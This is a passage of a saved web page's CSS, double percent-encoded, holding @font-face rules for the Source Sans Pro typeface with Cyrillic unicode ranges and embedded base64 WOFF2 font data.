%37%36%25%34%38%25%37%34%25%35%36%25%34%38%25%37%39%25%35%32%25%35%35%25%34%35%25%36%65%25%36%31%25%36%37%25%37%31%25%34%61%25%34%32%25%37%31%25%35%61%25%36%38%25%36%34%25%37%34%25%33%35%25%35%39%25%36%39%25%36%33%25%35%32%25%36%31%25%34%64%25%34%38%25%36%61%25%34%38%25%35%36%25%36%31%25%36%65%25%36%31%25%37%36%25%34%62%25%35%34%25%36%35%25%33%35%25%34%38%25%33%36%25%35%33%25%35%30%25%34%64%25%34%62%25%32%62%25%34%37%25%35%36%25%34%63%25%34%66%25%33%39%25%36%63%25%37%32%25%34%37%25%34%38%25%35%39%25%37%30%25%35%36%25%37%33%25%34%62%25%34%64%25%37%31%25%36%61%25%33%33%25%34%35%25%35%35%25%34%62%25%34%33%25%36%66%25%37%31%25%36%31%25%36%66%25%34%65%25%35%38%25%36%37%25%33%31%25%37%32%25%35%34%25%34%37%25%37%32%25%35%32%25%36%39%25%35%33%25%33%35%25%36%35%25%33%33%25%36%33%25%33%37%25%33%39%25%34%61%25%36%34%25%36%38%25%36%35%25%34%32%25%36%36%25%34%37%25%33%32%25%36%64%25%37%61%25%37%32%25%34%32%25%37%30%25%34%63%25%35%38%25%36%31%25%34%62%25%32%62%25%33%37%25%33%32%25%33%31%25%36%31%25%33%39%25%36%32%25%33%39%25%33%30%25%35%32%25%34%36%25%34%38%25%36%32%25%35%38%25%37%38%25%37%35%25%34%31%25%36%66%25%35%38%25%37%31%25%34%36%25%34%33%25%33%33%25%33%35%25%33%30%25%35%37%25%34%66%25%35%37%25%35%35%25%37%39%25%32%66%25%35%37%25%37%34%25%36%37%25%33%39%25%33%31%25%34%36%25%36%35%25%36%61%25%36%64%25%35%39%25%37%34%25%36%32%25%35%37%25%35%31%25%34%33%25%36%65%25%37%37%25%33%37%25%34%31%25%36%39%25%35%30%25%35%38%25%34%66%25%37%35%25%37%31%25%35%32%25%34%37%25%35%37%25%34%39%25%35%33%25%35%37%25%35%32%25%36%64%25%34%32%25%37%32%25%33%32%25%36%38%25%34%39%25%37%38%25%35%37%25%33%31%25%37%37%25%36%32%25%36%37%25%36%36%25%37%36%25%35%61%25%36%62%25%37%30%25%36%66%25%36%63%25%34%33%25%36%63%25%34%37%25%36%64%25%36%31%25%37%61%25%35%31%25%33%36%25%33%34%25%37%38%25%36%34%25%34%36%25%34%39%25%34%38%25%36%38%25%34%39%25%34%31%25%32%66%25%34%65%25%36%63%25%36%64%25%33%39%25%34%32%25%32%66%25%34%31%25%33%31%25%37%34%25%33%35%25%34%36%25%33%31%25%37%35%25%35%33%25%35%31%25%35%31%25%37%61%25%37%38%25%36%37%25%36%66%25%34%39%25%37%38%25%37%38%25%36%38%25%36%37%25%37%37%25%35%31%25%37%38%25%34%35%25%37%32%25%34%38%25%34%66%25%34%31%25%36%62%25%35%30%25%37%32%25%37%36%25%37%37%25%34%64%25%33%38%25%36%38%25%36%64%25%34%36%25%33%32%25%32%66%25%34%37%25%34%66%25%34%34%25%33%33%25%35%31%25%37%61%25%34%65%25%33%37%25%37%33%25%34%31%25%36%39%25%34%64%25%37%35%25%36%64%25%36%39%25%34%31%25%37%35%25%36%64%25%34%31%25%36%39%25%34%36%25%37%37%25%33%33%25%35%36%25%34%39%25%35%37%25%33%38%25%37%39%25%36%62%25%37%39%25%36%61%25%34%34%25%35%38%25%34%37%25%34%36%25%36%35%25%36%32%25%36%34%25%37%37%25%35%39%25%33%32%25%35%31%25%34%64%25%35%32%25%34%38%25%34%38%25%34%64%25%34%38%25%36%37%25%37%35%25%36%63%25%33%33%25%36%36%25%33%39%25%36%31%25%36%65%25%33%33%25%35%36%25%33%34%25%33%33%25%34%33%25%34%33%25%34%36%25%34%32%25%35%38%25%37%36%25%33%30%25%33%33%25%35%36%25%35%39%25%32%66%25%36%32%25%35%37%25%33%31%25%36%63%25%35%32%25%33%32%25%36%37%25%33%31%25%36%66%25%37%33%25%35%38%25%34%36%25%37%37%25%36%61%25%37%33%25%34%38%25%36%64%25%34%31%25%35%37%25%34%61%25%35%34%25%33%37%25%35%37%25%34%36%25%35%34%25%35%61%25%35%34%25%35%33%25%36%63%25%37%32%25%37%30%25%35%38%25%35%34%25%34%38%25%37%37%25%35%31%25%34%38%25%37%32%25%34%33%25%36%38%25%37%36%25%36%35%25%33%34%25%37%30%25%36%38%25%34%63%25%36%32%25%35%37%25%33%35%25%37%38%25%34%66%25%35%38%25%34%38%25%36%35%25%34%31%25%37%36%25%35%38%25%36%37%25%37%61%25%34%31%25%37%61%25%35%36%25%36%66%25%36%33%25%37%37%25%36%38%25%36%32%25%36%38%25%36%37%25%34%61%25%35%37%25%36%38%25%36%62%25%34%35%25%34%65%25%36%36%25%36%31%25%37%37%25%37%34%25%34%31%25%36%65%25%37%32%25%36%39%25%36%35%25%33%39%25%35%36%25%33%31%25%37%61%25%37%32%25%37%33%25%36%39%25%34%61%25%35%36%25%35%31%25%37%36%25%34%65%25%37%35%25%33%37%25%35%33%25%36%63%25%36%66%25%36%61%25%34%39%25%36%66%25%35%36%25%36%32%25%35%30%25%35%38%25%36%32%25%34%62%25%34%38%25%34%33%25%36%33%25%35%31%25%34%66%25%34%31%25%35%37%25%34%64%25%37%35%25%33%38%25%34%35%25%32%62%25%36%63%25%37%34%25%33%37%25%35%39%25%34%64%25%36%64%25%36%37%25%34%31%25%37%39%25%34%32%25%34%37%25%36%66%25%35%61%25%35%38%25%33%34%25%33%33%25%36%33%25%33%35%25%34%35%25%33%33%25%33%33%25%37%38%25%35%37%25%37%33%25%37%39%25%37%38%25%37%35%25%37%30%25%36%65%25%34%31%25%36%31%25%34%31%25%34%37%25%37%37%25%34%31%25%34%38%25%35%37%25%35%35%25%32%66%25%36%61%25%34%31%25%34%63%25%34%63%25%35%35%25%35%37%25%34%34%25%37%36%25%36%39%25%35%36%25%34%38%25%35%61%25%36%38%25%37%34%25%34%37%25%35%30%25%35%36%25%33%36%25%35%31%25%34%34%25%34%63%25%37%31%25%34%35%25%36%62%25%36%36%25%35%30%25%34%31%25%34%62%25%36%37%25%37%61%25%37%61%25%33%39%25%36%34%25%34%36%25%35%38%25%34%39%25%32%62%25%37%34%25%33%34%25%32%66%25%36%38%25%33%33%25%34%35%25%33%39%25%37%35%25%34%32%25%35%30%25%37%37%25%37%61%25%34%31%25%34%38%25%33%35%25%35%30%25%32%66%25%34%38%25%33%34%25%34%33%25%37%37%25%34%63%25%33%39%25%35%34%25%37%37%25%33%37%25%35%61%25%32%66%25%37%36%25%37%37%25%35%61%25%36%64%25%35%38%25%36%34%25%33%38%25%34%37%25%33%38%25%34%39%25%34%35%25%34%32%25%34%31%25%34%31%25%34%38%25%37%33%25%37%34%25%36%36%25%35%35%25%34%63%25%37%36%25%34%31%25%37%33%25%35%31%25%34%62%25%32%66%25%33%35%25%36%64%25%36%33%25%34%39%25%34%63%25%33%37%25%36%63%25%33%33%25%34%61%25%36%33%25%34%62%25%33%37%25%36%38%25%37%39%25%34%38%25%34%32%25%36%39%25%35%37%25%35%39%25%33%30%25%35%37%25%34%63%25%37%30%25%36%37%25%34%39%25%35%35%25%33%38%25%36%66%25%36%32%25%35%37%25%34%62%25%36%39%25%36%32%25%37%61%25%37%31%25%35%36%25%36%34%25%34%32%25%35%39%25%34%34%25%37%37%25%32%66%25%36%38%25%34%32%25%35%39%25%34%63%25%34%34%25%36%61%25%34%39%25%36%33%25%34%34%25%36%66%25%36%66%25%34%37%25%37%36%25%35%31%25%37%37%25%37%39%25%34%32%25%34%33%25%32%62%25%36%35%25%35%38%25%33%31%25%36%65%25%34%64%25%36%32%25%34%38%25%34%66%25%34%38%25%36%31%25%35%33%25%36%38%25%34%34%25%33%30%25%33%36%25%33%35%25%37%32%25%35%35%25%37%30%25%34%32%25%37%36%25%36%63%25%36%37%25%33%34%25%37%32%25%35%38%25%33%37%25%34%33%25%33%34%25%36%31%25%36%37%25%34%62%25%34%31%25%36%62%25%36%38%25%35%36%25%35%33%25%33%38%25%34%39%25%34%36%25%37%39%25%37%31%25%37%37%25%35%35%25%34%62%25%36%32%25%34%37%25%36%61%25%35%38%25%36%34%25%34%39%25%36%38%25%37%35%25%34%35%25%33%36%25%33%30%25%33%32%25%36%66%25%36%34%25%34%34%25%35%34%25%33%30%25%36%33%25%36%62%25%34%64%25%37%38%25%35%61%25%36%62%25%35%32%25%35%36%25%36%61%25%36%62%25%34%33%25%34%32%25%36%31%25%35%61%25%35%31%25%34%62%25%36%31%25%33%36%25%35%39%25%33%38%25%37%31%25%36%32%25%34%31%25%34%36%25%36%31%25%36%37%25%36%65%25%34%65%25%35%30%25%37%31%25%34%33%25%36%36%25%36%32%25%35%31%25%34%63%25%34%35%25%34%38%25%34%36%25%33%38%25%34%66%25%34%33%25%36%37%25%33%31%25%34%31%25%36%35%25%36%39%25%37%33%25%36%32%25%37%37%25%36%33%25%33%37%25%36%34%25%35%36%25%34%66%25%36%66%25%33%37%25%33%34%25%36%38%25%34%66%25%35%31%25%34%31%25%37%31%25%37%34%25%35%33%25%34%34%25%35%32%25%37%36%25%35%34%25%35%31%25%34%38%25%34%63%25%35%37%25%36%36%25%35%34%25%37%61%25%33%34%25%35%32%25%34%31%25%34%39%25%33%34%25%33%34%25%34%39%25%35%35%25%34%62%25%35%31%25%35%38%25%36%39%25%34%35%25%36%33%25%37%33%25%36%61%25%34%64%25%34%35%25%33%34%25%36%64%25%34%33%25%34%33%25%35%37%25%35%35%25%33%35%25%35%61%25%34%65%25%37%34%25%34%61%25%32%62%25%37%38%25%35%61%25%35%30%25%33%37%25%37%37%25%35%34%25%37%30%25%34%34%25%34%36%25%34%31%25%34%65%25%35%34%25%34%63%25%34%39%25%35%35%25%33%32%25%33%39%25%36%64%25%37%32%25%36%63%25%36%65%25%37%61%25%34%39%25%37%37%25%34%32%25%33%39%25%37%33%25%37%37%25%36%65%25%34%33%25%34%66%25%33%38%25%33%34%25%36%37%25%34%31%25%34%66%25%34%31%25%34%38%25%34%34%25%34%39%25%36%37%25%34%36%25%35%30%25%34%31%25%36%39%25%34%31%25%34%36%25%33%31%25%33%37%25%34%62%25%37%38%25%37%39%25%34%31%25%34%35%25%36%37%25%34%37%25%37%34%25%37%37%25%36%65%25%34%33%25%34%64%25%37%37%25%33%34%25%35%38%25%37%31%25%34%66%25%36%37%25%36%32%25%34%34%25%35%34%25%36%39%25%34%34%25%36%62%25%35%37%25%34%65%25%36%61%25%34%65%25%33%36%25%37%32%25%34%32%25%37%32%25%34%66%25%36%33%25%36%33%25%34%38%25%34%38%25%34%36%25%34%64%25%33%31%25%37%38%25%37%37%25%33%30%25%36%37%25%37%35%25%37%36%25%35%32%25%36%34%25%36%38%25%36%64%25%34%33%25%33%35%25%36%37%25%35%33%25%33%37%25%33%30%25%34%37%25%36%36%25%37%61%25%34%31%25%37%61%25%37%31%25%35%36%25%34%34%25%34%61%25%34%33%25%37%35%25%35%37%25%35%39%25%34%64%25%34%37%25%36%65%25%34%33%25%34%33%25%34%38%25%34%64%25%33%36%25%34%65%25%34%64%25%33%32%25%34%38%25%36%32%25%36%39%25%36%38%25%35%36%25%37%61%25%33%36%25%36%39%25%34%64%25%34%36%25%37%35%25%37%61%25%33%37%25%36%37%25%33%34%25%35%37%25%35%36%25%36%31%25%37%33%25%33%32%25%36%61%25%36%66%25%37%37%25%33%37%25%35%35%25%34%62%25%35%36%25%34%38%25%35%30%25%37%32%25%34%37%25%34%35%25%34%64%25%36%39%25%36%37%25%33%32%25%36%66%25%35%36%25%34%39%25%34%62%25%37%35%25%34%36%25%33%37%25%34%61%25%36%35%25%34%32%25%36%38%25%34%62%25%34%65%25%35%30%25%32%66%25%36%64%25%35%38%25%33%31%25%35%33%25%37%38%25%35%30%25%34%39%25%34%31%25%34%66%25%35%37%25%36%36%25%36%32%25%34%35%25%35%37%25%35%37%25%33%38%25%32%66%25%37%36%25%36%37%25%36%63%25%32%62%25%35%39%25%35%37%25%34%36%25%35%38%25%35%33%25%34%61%25%35%35%25%34%39%25%35%37%25%36%63%25%35%34%25%36%33%25%36%32%25%34%33%25%33%31%25%36%65%25%36%33%25%35%36%25%36%31%25%33%38%25%34%66%25%36%34%25%36%35%25%34%36%25%35%35%25%37%33%25%36%34%25%37%31%25%36%66%25%34%32%25%36%34%25%33%33%25%33%33%25%36%37%25%37%61%25%33%34%25%33%31%25%36%66%25%35%36%25%36%32%25%34%61%25%35%38%25%36%36%25%36%32%25%33%39%25%35%39%25%35%35%25%37%61%25%37%30%25%34%39%25%36%31%25%36%32%25%36%39%25%34%61%25%34%33%25%37%38%25%33%30%25%34%38%25%36%37%25%35%34%25%33%31%25%36%66%25%33%30%25%34%39%25%32%66%25%35%39%25%34%33%25%34%63%25%33%32%25%36%38%25%36%64%25%37%31%25%35%35%25%36%35%25%37%31%25%34%66%25%34%62%25%34%38%25%34%65%25%35%38%25%37%37%25%36%63%25%33%32%25%35%35%25%35%37%25%36%31%25%36%33%25%37%37%25%34%35%25%37%38%25%33%36%25%35%31%25%36%63%25%34%37%25%37%39%25%35%34%25%34%35%25%33%30%25%36%39%25%35%31%25%34%32%25%32%62%25%33%36%25%34%64%25%36%35%25%34%36%25%33%38%25%33%35%25%34%35%25%34%65%25%37%30%25%36%64%25%36%38%25%37%37%25%34%39%25%35%32%25%33%35%25%35%30%25%34%64%25%37%30%25%35%38%25%36%65%25%33%39%25%34%66%25%36%66%25%33%31%25%36%33%25%35%30%25%34%31%25%36%62%25%37%34%25%36%34%25%34%64%25%35%36%25%36%63%25%34%35%25%35%37%25%34%65%25%34%63%25%36%32%25%37%38%25%37%39%25%36%33%25%34%62%25%35%39%25%36%35%25%36%32%25%34%65%25%37%34%25%37%61%25%37%37%25%32%62%25%34%62%25%35%36%25%35%33%25%37%33%25%37%61%25%37%30%25%35%30%25%34%62%25%36%66%25%32%62%25%34%61%25%33%36%25%34%61%25%34%35%25%35%39%25%35%32%25%36%64%25%37%39%25%36%37%25%34%65%25%37%36%25%33%31%25%37%30%25%35%32%25%37%30%25%34%35%25%33%32%25%35%61%25%35%32%25%36%63%25%37%34%25%35%61%25%34%36%25%37%37%25%36%39%25%36%37%25%36%38%25%36%62%25%33%39%25%37%34%25%36%39%25%35%61%25%36%33%25%34%35%25%36%39%25%33%30%25%37%39%25%35%36%25%36%37%25%35%36%25%36%36%25%34%65%25%37%32%25%35%37%25%36%66%25%34%38%25%37%34%25%36%61%25%34%39%25%37%37%25%36%31%25%34%34%25%36%37%25%34%31%25%35%39%25%36%61%25%34%38%25%34%34%25%36%33%25%32%66%25%33%39%25%36%32%25%33%32%25%34%31%25%35%32%25%36%31%25%36%31%25%35%37%25%37%32%25%37%30%25%34%37%25%34%66%25%34%61%25%35%61%25%37%34%25%35%35%25%33%31%25%34%32%25%34%61%25%36%62%25%33%38%25%36%63%25%36%37%25%36%34%25%37%35%25%34%38%25%36%37%25%36%65%25%36%38%25%36%38%25%34%34%25%36%61%25%36%37%25%34%39%25%36%63%25%34%62%25%37%34%25%35%32%25%36%66%25%37%33%25%34%35%25%34%62%25%34%63%25%34%34%25%36%61%25%33%30%25%34%37%25%36%61%25%34%61%25%36%38%25%34%62%25%33%35%25%35%35%25%37%31%25%33%31%25%35%36%25%36%64%25%33%38%25%33%30%25%35%37%25%32%62%25%33%31%25%34%66%25%37%34%25%33%39%25%36%33%25%36%36%25%34%34%25%34%35%25%36%36%25%36%61%25%37%39%25%35%38%25%35%31%25%33%32%25%35%38%25%37%39%25%37%38%25%35%38%25%33%36%25%33%38%25%33%31%25%33%32%25%34%61%25%33%36%25%35%34%25%35%33%25%36%37%25%34%37%25%35%33%25%37%33%25%33%38%25%33%32%25%34%36%25%32%66%25%34%66%25%34%61%25%33%37%25%34%66%25%36%63%25%33%32%25%37%36%25%36%62%25%35%32%25%34%61%25%37%32%25%34%35%25%37%34%25%36%31%25%36%65%25%34%66%25%37%38%25%34%65%25%34%38%25%32%62%25%34%39%25%35%34%25%35%37%25%34%32%25%34%33%25%35%61%25%34%66%25%36%34%25%36%31%25%35%33%25%35%61%25%37%34%25%36%32%25%35%34%25%33%38%25%34%36%25%36%33%25%34%39%25%37%31%25%34%36%25%36%64%25%34%63%25%34%65%25%37%30%25%36%31%25%36%37%25%34%32%25%36%38%25%36%38%25%36%32%25%36%36%25%36%61%25%33%31%25%34%62%25%36%37%25%34%35%25%36%39%25%34%37%25%36%61%25%36%36%25%37%30%25%37%61%25%34%39%25%34%39%25%36%31%25%33%38%25%36%35%25%37%30%25%36%39%25%36%32%25%34%63%25%33%31%25%33%31%25%34%61%25%37%33%25%35%33%25%34%61%25%34%62%25%37%61%25%37%34%25%37%30%25%33%39%25%33%35%25%34%32%25%35%37%25%34%66%25%34%38%25%37%34%25%32%62%25%33%35%25%35%31%25%34%38%25%35%34%25%34%35%25%35%35%25%36%32%25%36%35%25%36%65%25%34%39%25%34%33%25%33%32%25%33%31%25%36%63%25%36%66%25%36%64%25%34%35%25%34%34%25%36%38%25%35%32%25%34%32%25%34%31%25%37%33%25%37%34%25%34%35%25%34%34%25%34%32%25%33%34%25%36%39%25%34%36%25%35%31%25%34%66%25%34%64%25%34%35%25%34%33%25%37%38%25%34%35%25%34%65%25%36%66%25%35%39%25%35%39%25%35%31%25%35%34%25%35%31%25%36%31%25%34%32%25%37%37%25%34%39%25%36%66%25%36%37%25%34%38%25%37%37%25%33%39%25%34%64%25%36%61%25%34%36%25%35%36%25%34%64%25%36%31%25%35%37%25%33%35%25%36%37%25%35%61%25%37%34%25%36%66%25%37%32%25%32%66%25%37%32%25%33%34%25%34%37%25%36%37%25%37%33%25%34%62%25%37%61%25%34%61%25%36%61%25%36%65%25%34%63%25%35%36%25%36%34%25%37%35%25%33%33%25%37%38%25%34%37%25%35%37%25%33%36%25%34%35%25%35%61%25%37%31%25%37%30%25%36%39%25%37%38%25%36%66%25%33%39%25%36%66%25%34%36%25%37%39%25%33%36%25%34%38%25%34%66%25%34%34%25%37%30%25%33%31%25%37%39%25%37%36%25%35%38%25%33%31%25%33%34%25%33%35%25%36%35%25%36%32%25%35%31%25%37%38%25%32%66%25%35%35%25%33%38%25%33%35%25%35%31%25%32%62%25%36%35%25%33%32%25%35%34%25%34%39%25%36%38%25%33%30%25%34%39%25%35%61%25%37%35%25%35%61%25%37%38%25%37%30%25%37%34%25%33%35%25%36%38%25%36%31%25%37%35%25%37%39%25%35%34%25%37%38%25%36%61%25%34%38%25%34%37%25%36%32%25%34%38%25%35%31%25%35%35%25%33%35%25%33%34%25%36%31%25%35%61%25%34%66%25%33%37%25%36%36%25%37%38%25%33%33%25%33%39%25%36%32%25%34%32%25%37%36%25%36%63%25%33%36%25%34%61%25%34%64%25%36%65%25%35%34%25%33%33%25%32%66%25%35%36%25%34%32%25%33%32%25%33%30%25%37%38%25%37%37%25%35%39%25%34%31%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%34%25%33%36%25%33%30%25%32%64%25%33%30%25%33%35%25%33%32%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%31%25%34%33%25%33%38%25%33%30%25%32%64%25%33%31%25%34%33%25%33%38%25%33%38%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%34%32%25%33%34%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%34%34%25%34%35%25%33%30%25%32%64%25%33%32%25%34%34%25%34%36%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%34%31%25%33%36%25%33%34%25%33%30%25%32%64%25%34%31%25%33%36%25%33%39%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%34%36%25%34%35%25%33%32%25%34%35%25%32%64%25%34%36%25%34%35%25%33%32%25%34%36%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%33%25%37%39%25%37%32%25%36%39%25%36%63%25%36%63%25%36%39%25%36%33%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%36%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%37%39%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%36%39%25%33%35%25%33%34%25%37%32%25%37%37%25%36%62%25%37%38%25%36%34%25%37%35%25%37%61%25%33%38%25%34%31%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%35%38%25%36%37%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%38%25%33%38%25%35%31%25%34%31%25%34%31%25%34%33%25%35%36%25%32%66%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%66%25%34%35%25%36%31%25%34%37%25%33%35%25%33%34%25%34%39%25%34%38%25%34%39%25%34%39%25%33%34%25%34%32%25%36%64%25%34%31%25%34%31%25%36%37%25%36%37%25%37%37%25%34%39%25%34%62%25%36%37%25%36%64%25%34%33%25%36%33%25%37%38%25%34%35%25%34%39%25%34%33%25%37%36%25%33%34%25%36%33%25%33%37%25%33%32%25%35%39%25%34%63%25%36%37%25%36%38%25%37%37%25%34%31%25%34%31%25%35%34%25%35%39%25%34%33%25%34%61%25%34%31%25%34%66%25%34%35%25%34%61%25%36%37%25%35%31%25%36%37%25%34%32%25%35%39%25%35%35%25%36%31%25%34%32%25%33%34%25%36%63%25%36%63%25%34%34%25%34%36%25%35%39%25%36%32%25%35%32%25%35%36%25%35%39%25%36%63%25%35%39%25%33%31%25%37%33%25%35%37%25%37%37%25%33%32%25%33%34%25%34%38%25%36%37%25%34%33%25%37%31%25%33%35%25%36%65%25%34%34%25%35%33%25%36%39%25%36%33%25%37%36%25%35%36%25%33%31%25%35%35%25%35%61%25%35%31%25%35%33%25%36%65%25%36%66%25%32%66%25%36%66%25%32%66%25%33%30%25%33%39%25%34%39%25%35%34%25%36%66%25%36%33%25%34%39%25%37%61%25%35%31%25%33%35%25%37%34%25%36%65%25%36%35%25%37%31%25%33%33%25%34%38%25%33%32%25%34%39%25%37%32%25%37%31%25%37%38%25%34%62%25%37%34%25%35%35%25%35%36%25%35%34%25%36%61%25%33%35%25%36%62%25%35%32%25%36%61%25%33%30%25%37%33%25%37%31%25%33%39%25%34%32%25%37%34%25%36%36%25%37%33%25%35%31%25%34%65%25%35%34%25%34%33%25%33%32%25%36%31%25%36%38%25%34%32%25%34%36%25%36%65%25%36%63%25%35%34%25%35%33%25%32%66%25%34%31%25%37%37%25%37%35%25%36%62%25%37%37%25%37%30%25%36%35%25%34%36%25%34%66%25%35%38%25%34%62%25%36%65%25%36%36%25%35%32%25%34%62%25%35%38%25%36%34%25%36%37%25%33%31%25%34%66%25%34%33%25%34%65%25%36%61%25%34%66%25%37%32%25%33%37%25%35%39%25%34%61%25%37%38%25%34%65%25%35%39%25%33%39%25%34%61%25%37%34%25%36%64%25%37%30%25%32%66%25%35%38%25%37%33%25%35%61%25%34%38%25%37%31%25%35%32%25%37%34%25%36%66%25%35%31%25%35%34%25%35%61%25%35%31%25%34%34%25%35%36%25%37%39%25%34%61%25%34%61%25%35%61%25%34%36%25%37%34%25%36%39%25%36%64%25%35%32%25%35%33%25%35%35%25%36%37%25%36%38%25%37%34%25%36%65%25%34%32%25%37%36%25%36%35%25%34%34%25%33%31%25%35%33%25%32%66%25%36%65%25%34%36%25%35%36%25%36%32%25%37%37%25%36%37%25%37%39%25%35%36%25%33%32%25%34%33%25%36%32%25%33%35%25%37%31%25%37%61%25%36%62%25%36%39%25%35%31%25%34%63%25%34%34%25%36%32%25%34%35%25%36%39%25%36%37%25%35%34%25%34%63%25%34%61%25%34%36%25%35%31%25%33%36%25%36%66%25%35%37%25%34%31%25%34%61%25%33%35%25%33%32%25%36%36%25%34%66%25%36%32%25%36%65%25%34%35%25%34%63%25%37%38%25%36%31%25%37%32%25%32%66%25%35%37%25%33%34%25%37%36%25%36%35%25%32%66%25%33%34%25%33%37%25%34%62%25%36%39%25%37%32%25%35%33%25%36%35%25%34%34%25%37%36%25%34%62%25%33%36%25%34%39%25%37%61%25%35%34%25%33%32%25%35%33%25%35%33%25%33%34%25%33%38%25%36%61%25%33%32%25%37%36%25%35%61%25%35%33%25%32%66%25%34%39%25%33%37%25%34%61%25%35%37%25%34%34%25%35%38%25%34%31%25%37%37%25%34%34%25%34%61%25%33%34%25%34%39%25%36%38%25%35%61%25%34%37%25%34%61%25%37%61%25%34%61%25%37%32%25%37%32%25%37%30%25%35%37%25%36%65%25%35%31%25%34%39%25%36%62%25%34%32%25%35%61%25%37%39%25%36%36%25%37%38%25%33%30%25%33%31%25%33%37%25%35%30%25%37%37%25%36%65%25%35%37%25%36%38%25%36%66%25%37%32%25%35%32%25%36%38%25%36%34%25%34%35%25%34%63%25%34%36%25%35%31%25%33%30%25%33%30%25%35%33%25%34%37%25%35%35%25%34%66%25%34%63%25%34%61%25%36%39%25%37%33%25%37%31%25%35%61%25%34%34%25%35%37%25%37%37%25%36%35%25%37%33%25%34%38%25%36%64%25%35%39%25%36%39%25%36%36%25%37%31%25%34%65%25%34%32%25%35%34%25%36%34%25%37%35%25%37%30%25%33%36%25%34%66%25%34%32%25%36%33%25%33%31%25%36%62%25%33%36%25%35%32%25%34%61%25%35%31%25%37%37%25%33%30%25%35%35%25%33%30%25%37%31%25%36%32%25%36%63%25%33%33%25%36%32%25%33%31%25%33%37%25%35%31%25%37%34%25%35%61%25%37%36%25%34%61%25%34%62%25%34%65%25%33%31%25%34%63%25%34%66%25%35%34%25%37%32%25%34%36%25%32%62%25%33%37%25%33%31%25%34%35%25%36%35%25%34%38%25%37%34%25%37%61%25%33%30%25%36%38%25%35%36%25%34%35%25%37%33%25%35%32%25%34%62%25%35%35%25%32%62%25%35%33%25%37%33%25%33%34%25%36%36%25%36%63%25%32%66%25%36%61%25%37%34%25%37%30%25%33%39%25%33%37%25%33%38%25%33%39%25%35%31%25%36%33%25%35%34%25%37%61%25%36%35%25%34%39%25%36%61%25%35%33%25%36%65%25%33%34%25%33%36%25%35%38%25%37%32%25%36%31%25%36%37%25%34%37%25%36%63%25%34%31%25%35%37%25%35%37%25%37%30%25%34%34%25%36%65%25%36%39%25%36%33%25%36%32%25%35%38%25%33%37%25%37%36%25%34%64%25%37%30%25%33%33%25%35%32%25%33%37%25%34%61%25%34%63%25%32%66%25%35%34%25%37%37%25%36%32%25%34%35%25%34%62%25%34%35%25%34%38%25%36%33%25%36%37%25%34%66%25